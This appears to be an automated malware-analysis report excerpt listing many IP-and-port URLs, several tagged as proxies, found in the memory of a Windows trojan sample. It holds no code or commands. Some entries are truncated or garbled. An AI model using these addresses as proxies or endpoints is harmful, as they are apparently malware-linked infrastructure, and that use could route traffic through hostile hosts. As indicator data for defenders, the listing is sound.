Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:59243://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FA0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:60377
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:60377://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:60512
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:60512://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:62572
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:62572://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:64151
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:64151://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:64193
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.223.71.71:64193://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.224.187.170:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.224.187.170:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.224.243.185:37793
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.224.243.185:37793://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.184.81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.184.81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.184.81:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.217.192:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.217.192:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.217.197:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.217.197:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.245.255
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.245.255://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.245.255:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.77.168:8585
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.65.77.168:8585://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.69.214.139:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.69.214.139:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.8.114.37
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.8.114.37://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.8.114.37:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.8.114.37:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.8.114.37:81230k&
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.8.114.37:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.113.155:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.113.155:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.173.98:14061
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.173.98:14061://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.89.173.98:14061x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://16.163.88.228
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://16.163.88.228://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://16.163.88.228:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://16.170.1.8
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://16.170.1.8://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://16.170.1.8:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.153.245.187:5436
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.153.245.187:5436://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.153.245.187:5784
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.153.245.187:5784://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C668F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.16.105.145:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C668F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.16.105.145:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.16.105.145:8080p
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.19.169.208:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.19.169.208:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C91FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.226.203.247:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.226.203.247:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.226.203.247:1080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.248.184.201:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.248.184.201:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.248.80.91:587
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.248.80.91:587://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.248.80.91:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.248.80.91:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.251.141.208:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.251.141.208:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C815E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.251.19.23:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.251.19.23:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.3.168.70:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://160.3.168.70:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.10.245.210:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.10.245.210:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.132.48.32:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.132.48.32:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8267000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.202.226.194:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8267000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.202.226.194:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.35.88.21:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.35.88.21:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.35.91.95
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.35.91.95://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.35.91.95:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.104.117:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.104.117:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:15371
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:15371://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C75B8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:19655
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:19655://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:2838
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:2838://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:37257
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:37257://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:43131
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.147.193:43131://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA51A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA51E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:11018
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA51A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:11018://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:13994
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:13994://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:42543
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:42543://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:5814
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:5814://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:58943
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:58943://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:59778
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.160.158:59778://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:13106
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:13106://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:29631
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:29631://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:29631xD
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C915F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:31125
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C915F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:31125://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:34916
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C924A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:34916://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:4085
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:4085://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:45063
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:45063://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:55491
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.163.52:55491://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:12641
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:12641://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:13636
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:13636://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:16521
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:16521://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:2296
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:2296://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC7B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:30529
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://161.97.170.209:30529://proxy
